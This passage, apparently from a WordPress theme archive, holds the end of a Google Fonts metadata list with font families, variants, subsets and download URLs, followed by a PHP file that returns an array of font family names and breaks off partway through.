Shadow","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/vastshadow/v10/pe0qMImKOZ1V62ZwbVY9dfe6Kdpickwp.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Vesper Libre","variants":["regular","500","700","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v13","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/vesperlibre/v13/bx6CNxyWnf-uxPdXDHUD_Rd4D0-N2qIWVQ.ttf","500":"http://fonts.gstatic.com/s/vesperlibre/v13/bx6dNxyWnf-uxPdXDHUD_RdA-2ap0okKXKvPlw.ttf","700":"http://fonts.gstatic.com/s/vesperlibre/v13/bx6dNxyWnf-uxPdXDHUD_RdAs2Cp0okKXKvPlw.ttf","900":"http://fonts.gstatic.com/s/vesperlibre/v13/bx6dNxyWnf-uxPdXDHUD_RdAi2Kp0okKXKvPlw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Viaoda Libre","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/viaodalibre/v3/vEFW2_lWCgoR6OKuRz9kcRVJb2IY2tOHXg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Vibes","variants":["regular"],"subsets":["arabic","latin"],"version":"v3","lastModified":"2020-08-24","files":{"regular":"http://fonts.gstatic.com/s/vibes/v3/QdVYSTsmIB6tmbd3HpbsuBlh.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Vibur","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/vibur/v11/DPEiYwmEzw0QRjTpLjoJd-Xa.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Vidaloka","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/vidaloka/v13/7cHrv4c3ipenMKlEass8yn4hnCci.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Viga","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/viga/v9/xMQbuFFdSaiX_QIjD4e2OX8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Voces","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/voces/v10/-F6_fjJyLyU8d4PBBG7YpzlJ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Volkhov","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/volkhov/v12/SlGQmQieoJcKemNeQTIOhHxzcD0.ttf","italic":"http://fonts.gstatic.com/s/volkhov/v12/SlGSmQieoJcKemNecTAEgF52YD0NYw.ttf","700":"http://fonts.gstatic.com/s/volkhov/v12/SlGVmQieoJcKemNeeY4hoHRYbDQUego.ttf","700italic":"http://fonts.gstatic.com/s/volkhov/v12/SlGXmQieoJcKemNecTA8PHFSaBYRagrQrA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Vollkorn","variants":["regular","500","600","700","800","900","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2MHGuGWOdEbD63w.ttf","500":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2AnGuGWOdEbD63w.ttf","600":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df27nauGWOdEbD63w.ttf","700":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df213auGWOdEbD63w.ttf","800":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2sHauGWOdEbD63w.ttf","900":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2mXauGWOdEbD63w.ttf","italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DJGWmmZM7Xq34g9.ttf","500italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DJ0WmmZM7Xq34g9.ttf","600italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DKYXWmZM7Xq34g9.ttf","700italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DKhXWmZM7Xq34g9.ttf","800italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DLGXWmZM7Xq34g9.ttf","900italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DLvXWmZM7Xq34g9.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Vollkorn SC","variants":["regular","600","700","900"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/vollkornsc/v4/j8_v6-zQ3rXpceZj9cqnVhF5NH-iSq_E.ttf","600":"http://fonts.gstatic.com/s/vollkornsc/v4/j8_y6-zQ3rXpceZj9cqnVimhGluqYbPN5Yjn.ttf","700":"http://fonts.gstatic.com/s/vollkornsc/v4/j8_y6-zQ3rXpceZj9cqnVinFG1uqYbPN5Yjn.ttf","900":"http://fonts.gstatic.com/s/vollkornsc/v4/j8_y6-zQ3rXpceZj9cqnVin9GVuqYbPN5Yjn.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Voltaire","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/voltaire/v10/1Pttg8PcRfSblAvGvQooYKVnBOif.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Waiting for the Sunrise","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/waitingforthesunrise/v11/WBL1rFvOYl9CEv2i1mO6KUW8RKWJ2zoXoz5JsYZQ9h_ZYk5J.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Wallpoet","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/wallpoet/v12/f0X10em2_8RnXVVdUNbu7cXP8L8G.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Walter Turncoat","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/walterturncoat/v11/snfys0Gs98ln43n0d-14ULoToe67YB2dQ5ZPqQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Warnes","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/warnes/v10/pONn1hc0GsW6sW5OpiC2o6Lkqg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Wellfleet","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/wellfleet/v8/nuF7D_LfQJb3VYgX6eyT42aLDhO2HA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Wendy One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/wendyone/v9/2sDcZGJOipXfgfXV5wgDb2-4C7wFZQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Wire One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/wireone/v11/qFdH35Wah5htUhV75WGiWdrCwwcJ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Work Sans","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nWNigDp6_cOyA.ttf","200":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K8nXNigDp6_cOyA.ttf","300":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32KxfXNigDp6_cOyA.ttf","regular":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nXNigDp6_cOyA.ttf","500":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K3vXNigDp6_cOyA.ttf","600":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K5fQNigDp6_cOyA.ttf","700":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K67QNigDp6_cOyA.ttf","800":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K8nQNigDp6_cOyA.ttf","900":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K-DQNigDp6_cOyA.ttf","100italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU3moJo43ZKyDSQQ.ttf","200italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUXmsJo43ZKyDSQQ.ttf","300italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUgGsJo43ZKyDSQQ.ttf","italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU3msJo43ZKyDSQQ.ttf","500italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU7GsJo43ZKyDSQQ.ttf","600italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUAGwJo43ZKyDSQQ.ttf","700italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUOWwJo43ZKyDSQQ.ttf","800italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUXmwJo43ZKyDSQQ.ttf","900italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUd2wJo43ZKyDSQQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Xanh Mono","variants":["regular","italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-12-08","files":{"regular":"http://fonts.gstatic.com/s/xanhmono/v3/R70YjykVmvKCep-vWhSYmACQXzLhTg.ttf","italic":"http://fonts.gstatic.com/s/xanhmono/v3/R70ejykVmvKCep-vWhSomgqUfTfxTo24.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Yanone Kaffeesatz","variants":["200","300","regular","500","600","700"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-06-26","files":{"200":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftodtWpcGuLCnXkVA.ttf","300":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoqNWpcGuLCnXkVA.ttf","regular":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIfto9tWpcGuLCnXkVA.ttf","500":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoxNWpcGuLCnXkVA.ttf","600":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoKNKpcGuLCnXkVA.ttf","700":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoEdKpcGuLCnXkVA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Yantramanav","variants":["100","300","regular","500","700","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/yantramanav/v6/flU-Rqu5zY00QEpyWJYWN5-QXeNzDB41rZg.ttf","300":"http://fonts.gstatic.com/s/yantramanav/v6/flUhRqu5zY00QEpyWJYWN59Yf8NZIhI8tIHh.ttf","regular":"http://fonts.gstatic.com/s/yantramanav/v6/flU8Rqu5zY00QEpyWJYWN6f0V-dRCQ41.ttf","500":"http://fonts.gstatic.com/s/yantramanav/v6/flUhRqu5zY00QEpyWJYWN58AfsNZIhI8tIHh.ttf","700":"http://fonts.gstatic.com/s/yantramanav/v6/flUhRqu5zY00QEpyWJYWN59IeMNZIhI8tIHh.ttf","900":"http://fonts.gstatic.com/s/yantramanav/v6/flUhRqu5zY00QEpyWJYWN59wesNZIhI8tIHh.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Yatra One","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/yatraone/v7/C8ch4copsHzj8p7NaF0xw1OBbRDvXw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Yellowtail","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/yellowtail/v11/OZpGg_pnoDtINPfRIlLotlzNwED-b4g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Yeon Sung","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/yeonsung/v8/QldMNTpbohAGtsJvUn6xSVNazqx2xg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Yeseva One","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/yesevaone/v15/OpNJno4ck8vc-xYpwWWxpipfWhXD00c.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Yesteryear","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/yesteryear/v9/dg4g_p78rroaKl8kRKo1r7wHTwonmyw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Yrsa","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/yrsa/v6/wlpxgwnQFlxs3af93IQ73W5OcCk.ttf","regular":"http://fonts.gstatic.com/s/yrsa/v6/wlp-gwnQFlxs5QvV-IwQwWc.ttf","500":"http://fonts.gstatic.com/s/yrsa/v6/wlpxgwnQFlxs3f_83IQ73W5OcCk.ttf","600":"http://fonts.gstatic.com/s/yrsa/v6/wlpxgwnQFlxs3dP73IQ73W5OcCk.ttf","700":"http://fonts.gstatic.com/s/yrsa/v6/wlpxgwnQFlxs3bf63IQ73W5OcCk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"ZCOOL KuaiLe","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/zcoolkuaile/v5/tssqApdaRQokwFjFJjvM6h2WpozzoXhC2g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"ZCOOL QingKe HuangYou","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/zcoolqingkehuangyou/v5/2Eb5L_R5IXJEWhD3AOhSvFC554MOOahI4mRIi_28c8bHWA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"ZCOOL XiaoWei","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/zcoolxiaowei/v5/i7dMIFFrTRywPpUVX9_RJyM1YFKQHwyVd3U.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Zeyada","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/zeyada/v10/11hAGpPTxVPUbgZDNGatWKaZ3g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Zhi Mang Xing","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/zhimangxing/v5/f0Xw0ey79sErYFtWQ9a2rq-g0actfektIJ0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Zilla Slab","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/zillaslab/v6/dFa5ZfeM_74wlPZtksIFYpEY2HSjWlhzbaw.ttf","300italic":"http://fonts.gstatic.com/s/zillaslab/v6/dFanZfeM_74wlPZtksIFaj8CVHapXnp2fazkfg.ttf","regular":"http://fonts.gstatic.com/s/zillaslab/v6/dFa6ZfeM_74wlPZtksIFWj0w_HyIRlE.ttf","italic":"http://fonts.gstatic.com/s/zillaslab/v6/dFa4ZfeM_74wlPZtksIFaj86-F6NVlFqdA.ttf","500":"http://fonts.gstatic.com/s/zillaslab/v6/dFa5ZfeM_74wlPZtksIFYskZ2HSjWlhzbaw.ttf","500italic":"http://fonts.gstatic.com/s/zillaslab/v6/dFanZfeM_74wlPZtksIFaj8CDHepXnp2fazkfg.ttf","600":"http://fonts.gstatic.com/s/zillaslab/v6/dFa5ZfeM_74wlPZtksIFYuUe2HSjWlhzbaw.ttf","600italic":"http://fonts.gstatic.com/s/zillaslab/v6/dFanZfeM_74wlPZtksIFaj8CIHCpXnp2fazkfg.ttf","700":"http://fonts.gstatic.com/s/zillaslab/v6/dFa5ZfeM_74wlPZtksIFYoEf2HSjWlhzbaw.ttf","700italic":"http://fonts.gstatic.com/s/zillaslab/v6/dFanZfeM_74wlPZtksIFaj8CRHGpXnp2fazkfg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Zilla Slab Highlight","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/zillaslabhighlight/v8/gNMbW2BrTpK8-inLtBJgMMfbm6uNVDvRxhtIY2DwSXlM.ttf","700":"http://fonts.gstatic.com/s/zillaslabhighlight/v8/gNMUW2BrTpK8-inLtBJgMMfbm6uNVDvRxiP0TET4YmVF0Mb6.ttf"},"category":"display","kind":"webfonts#webfont"}]}PK     N\Co4  o4  2  inc/customizer/framework/data/googlefontsindex.phpnu [        <?php
return array('ABeeZee','Abel','Abhaya Libre','Abril Fatface','Aclonica','Acme','Actor','Adamina','Advent Pro','Aguafina Script','Akronim','Aladin','Alata','Alatsi','Aldrich','Alef','Alegreya','Alegreya SC','Alegreya Sans','Alegreya Sans SC','Aleo','Alex Brush','Alfa Slab One','Alice','Alike','Alike Angular','Allan','Allerta','Allerta Stencil','Allura','Almarai','Almendra','Almendra Display','Almendra SC','Amarante','Amaranth','Amatic SC','Amethysta','Amiko','Amiri','Amita','Anaheim','Andada','Andika','Andika New Basic','Angkor','Annie Use Your Telescope','Anonymous Pro','Antic','Antic Didone','Antic Slab','Anton','Arapey','Arbutus','Arbutus Slab','Architects Daughter','Archivo','Archivo Black','Archivo Narrow','Aref Ruqaa','Arima Madurai','Arimo','Arizonia','Armata','Arsenal','Artifika','Arvo','Arya','Asap','Asap Condensed','Asar','Asset','Assistant','Astloch','Asul','Athiti','Atma','Atomic Age','Aubrey','Audiowide','Autour One','Average','Average Sans','Averia Gruesa Libre','Averia Libre','Averia Sans Libre','Averia Serif Libre','B612','B612 Mono','Bad Script','Bahiana','Bahianita','Bai Jamjuree','Baloo 2','Baloo Bhai 2','Baloo Bhaina 2','Baloo Chettan 2','Baloo Da 2','Baloo Paaji 2','Baloo Tamma 2','Baloo Tammudu 2','Baloo Thambi 2','Balsamiq Sans','Balthazar','Bangers','Barlow','Barlow Condensed','Barlow Semi Condensed','Barriecito','Barrio','Basic','Baskervville','Battambang','Baumans','Bayon','Be Vietnam','Bebas Neue','Belgrano','Bellefair','Belleza','Bellota','Bellota Text','BenchNine','Bentham','Berkshire Swash','Beth Ellen','Bevan','Big Shoulders Display','Big Shoulders Inline Display','Big Shoulders Inline Text','Big Shoulders Stencil Display','Big Shoulders Stencil Text','Big Shoulders Text','Bigelow Rules','Bigshot One','Bilbo','Bilbo Swash Caps','BioRhyme','BioRhyme Expanded','Biryani','Bitter','Black And White Picture','Black Han Sans','Black Ops One','Blinker','Bokor','Bonbon','Boogaloo','Bowlby One','Bowlby One SC','Brawler','Bree Serif','Bubblegum Sans','Bubbler One','Buda','Buenard','Bungee','Bungee Hairline','Bungee Inline','Bungee Outline','Bungee Shade','Butcherman','Butterfly Kids','Cabin','Cabin Condensed','Cabin Sketch','Caesar Dressing','Cagliostro','Cairo','Caladea','Calistoga','Calligraffitti','Cambay','Cambo','Candal','Cantarell','Cantata One','Cantora One','Capriola','Cardo','Carme','Carrois Gothic','Carrois Gothic SC','Carter One','Castoro','Catamaran','Caudex','Caveat','Caveat Brush','Cedarville Cursive','Ceviche One','Chakra Petch','Changa','Changa One','Chango','Charm','Charmonman','Chathura','Chau Philomene One','Chela One','Chelsea Market','Chenla','Cherry Cream Soda','Cherry Swash','Chewy','Chicle','Chilanka','Chivo','Chonburi','Cinzel','Cinzel Decorative','Clicker Script','Coda','Coda Caption','Codystar','Coiny','Combo','Comfortaa','Comic Neue','Coming Soon','Commissioner','Concert One','Condiment','Content','Contrail One','Convergence','Cookie','Copse','Corben','Cormorant','Cormorant Garamond','Cormorant Infant','Cormorant SC','Cormorant Unicase','Cormorant Upright','Courgette','Courier Prime','Cousine','Coustard','Covered By Your Grace','Crafty Girls','Creepster','Crete Round','Crimson Pro','Crimson Text','Croissant One','Crushed','Cuprum','Cute Font','Cutive','Cutive Mono','DM Mono','DM Sans','DM Serif Display','DM Serif Text','Damion','Dancing Script','Dangrek','Darker Grotesque','David Libre','Dawning of a New Day','Days One','Dekko','Delius','Delius Swash Caps','Delius Unicase','Della Respira','Denk One','Devonshire','Dhurjati','Didact Gothic','Diplomata','Diplomata SC','Do Hyeon','Dokdo','Domine','Donegal One','Doppio One','Dorsa','Dosis','Dr Sugiyama','Duru Sans','Dynalight','EB Garamond','Eagle Lake','East Sea Dokdo','Eater','Economica','Eczar','El Messiri','Electrolize','Elsie','Elsie Swash Caps','Emblema One','Emilys Candy','Encode Sans','Encode Sans Condensed','Encode Sans Expanded','Encode Sans Semi Condensed','Encode Sans Semi Expanded','Engagement','Englebert','Enriqueta','Epilogue','Erica One','Esteban','Euphoria Script','Ewert','Exo','Exo 2','Expletus Sans','Fahkwang','Fanwood Text','Farro','Farsan','Fascinate','Fascinate Inline','Faster One','Fasthand','Fauna One','Faustina','Federant','Federo','Felipa','Fenix','Finger Paint','Fira Code','Fira Mono','Fira Sans','Fira Sans Condensed','Fira Sans Extra Condensed','Fjalla One','Fjord One','Flamenco','Flavors','Fondamento','Fontdiner Swanky','Forum','Francois One','Frank Ruhl Libre','Freckle Face','Fredericka the Great','Fredoka One','Freehand','Fresca','Frijole','Fruktur','Fugaz One','GFS Didot','GFS Neohellenic','Gabriela','Gaegu','Gafata','Galada','Galdeano','Galindo','Gamja Flower','Gayathri','Gelasio','Gentium Basic','Gentium Book Basic','Geo','Geostar','Geostar Fill','Germania One','Gidugu','Gilda Display','Girassol','Give You Glory','Glass Antiqua','Glegoo','Gloria Hallelujah','Goblin One','Gochi Hand','Goldman','Gorditas','Gothic A1','Gotu','Goudy Bookletter 1911','Graduate','Grand Hotel','Grandstander','Gravitas One','Great Vibes','Grenze','Grenze Gotisch','Griffy','Gruppo','Gudea','Gugi','Gupter','Gurajada','Habibi','Halant','Hammersmith One','Hanalei','Hanalei Fill','Handlee','Hanuman','Happy Monkey','Harmattan','Headland One','Heebo','Henny Penny','Hepta Slab','Herr Von Muellerhoff','Hi Melody','Hind','Hind Guntur','Hind Madurai','Hind Siliguri','Hind Vadodara','Holtwood One SC','Homemade Apple','Homenaje','IBM Plex Mono','IBM Plex Sans','IBM Plex Sans Condensed','IBM Plex Serif','IM Fell DW Pica','IM Fell DW Pica SC','IM Fell Double Pica','IM Fell Double Pica SC','IM Fell English','IM Fell English SC','IM Fell French Canon','IM Fell French Canon SC','IM Fell Great Primer','IM Fell Great Primer SC','Ibarra Real Nova','Iceberg','Iceland','Imprima','Inconsolata','Inder','Indie Flower','Inika','Inknut Antiqua','Inria Sans','Inria Serif','Inter','Irish Grover','Istok Web','Italiana','Italianno','Itim','Jacques Francois','Jacques Francois Shadow','Jaldi','JetBrains Mono','Jim Nightshade','Jockey One','Jolly Lodger','Jomhuria','Jomolhari','Josefin Sans','Josefin Slab','Jost','Joti One','Jua','Judson','Julee','Julius Sans One','Junge','Jura','Just Another Hand','Just Me Again Down Here','K2D','Kadwa','Kalam','Kameron','Kanit','Kantumruy','Karla','Karma','Katibeh','Kaushan Script','Kavivanar','Kavoon','Kdam Thmor','Keania One','Kelly Slab','Kenia','Khand','Khmer','Khula','Kirang Haerang','Kite One','Knewave','KoHo','Kodchasan','Kosugi','Kosugi Maru','Kotta One','Koulen','Kranky','Kreon','Kristi','Krona One','Krub','Kufam','Kulim Park','Kumar One','Kumar One Outline','Kumbh Sans','Kurale','La Belle Aurore','Lacquer','Laila','Lakki Reddy','Lalezar','Lancelot','Langar','Lateef','Lato','League Script','Leckerli One','Ledger','Lekton','Lemon','Lemonada','Lexend Deca','Lexend Exa','Lexend Giga','Lexend Mega','Lexend Peta','Lexend Tera','Lexend Zetta','Libre Barcode 128','Libre Barcode 128 Text','Libre Barcode 39','Libre Barcode 39 Extended','Libre Barcode 39 Extended Text','Libre Barcode 39 Text','Libre Barcode EAN13 Text','Libre Baskerville','Libre Caslon Display','Libre Caslon Text','Libre Franklin','Life Savers','Lilita One','Lily Script One','Limelight','Linden Hill','Literata','Liu Jian Mao Cao','Livvic','Lobster','Lobster Two','Londrina Outline','Londrina Shadow','Londrina Sketch','Londrina Solid','Long Cang','Lora','Love Ya Like A Sister','Loved by the King','Lovers Quarrel','Luckiest Guy','Lusitana','Lustria','M PLUS 1p','M PLUS Rounded 1c','Ma Shan Zheng','Macondo','Macondo Swash Caps','Mada','Magra','Maiden Orange','Maitree','Major Mono Display','Mako','Mali','Mallanna','Mandali','Manjari','Manrope','Mansalva','Manuale','Marcellus','Marcellus SC','Marck Script','Margarine','Markazi Text','Marko One','Marmelad','Martel','Martel Sans','Marvel','Mate','Mate SC','Maven Pro','McLaren','Meddon','MedievalSharp','Medula One','Meera Inimai','Megrim','Meie Script','Merienda','Merienda One','Merriweather','Merriweather Sans','Metal','Metal Mania','Metamorphous','Metrophobic','Michroma','Milonga','Miltonian','Miltonian Tattoo','Mina','Miniver','Miriam Libre','Mirza','Miss Fajardose','Mitr','Modak','Modern Antiqua','Mogra','Molengo','Molle','Monda','Monofett','Monoton','Monsieur La Doulaise','Montaga','Montez','Montserrat','Montserrat Alternates','Montserrat Subrayada','Moul','Moulpali','Mountains of Christmas','Mouse Memoirs','Mr Bedfort','Mr Dafoe','Mr De Haviland','Mrs Saint Delafield','Mrs Sheppards','Mukta','Mukta Mahee','Mukta Malar','Mukta Vaani','Mulish','MuseoModerno','Mystery Quest','NTR','Nanum Brush Script','Nanum Gothic','Nanum Gothic Coding','Nanum Myeongjo','Nanum Pen Script','Nerko One','Neucha','Neuton','New Rocker','News Cycle','Niconne','Niramit','Nixie One','Nobile','Nokora','Norican','Nosifer','Notable','Nothing You Could Do','Noticia Text','Noto Sans','Noto Sans HK','Noto Sans JP','Noto Sans KR','Noto Sans SC','Noto Sans TC','Noto Serif','Noto Serif JP','Noto Serif KR','Noto Serif SC','Noto Serif TC','Nova Cut','Nova Flat','Nova Mono','Nova Oval','Nova Round','Nova Script','Nova Slim','Nova Square','Numans','Nunito','Nunito Sans','Odibee Sans','Odor Mean Chey','Offside','Old Standard TT','Oldenburg','Oleo Script','Oleo Script Swash Caps','Open Sans','Open Sans Condensed','Oranienbaum','Orbitron','Oregano','Orienta','Original Surfer','Oswald','Over the Rainbow','Overlock','Overlock SC','Overpass','Overpass 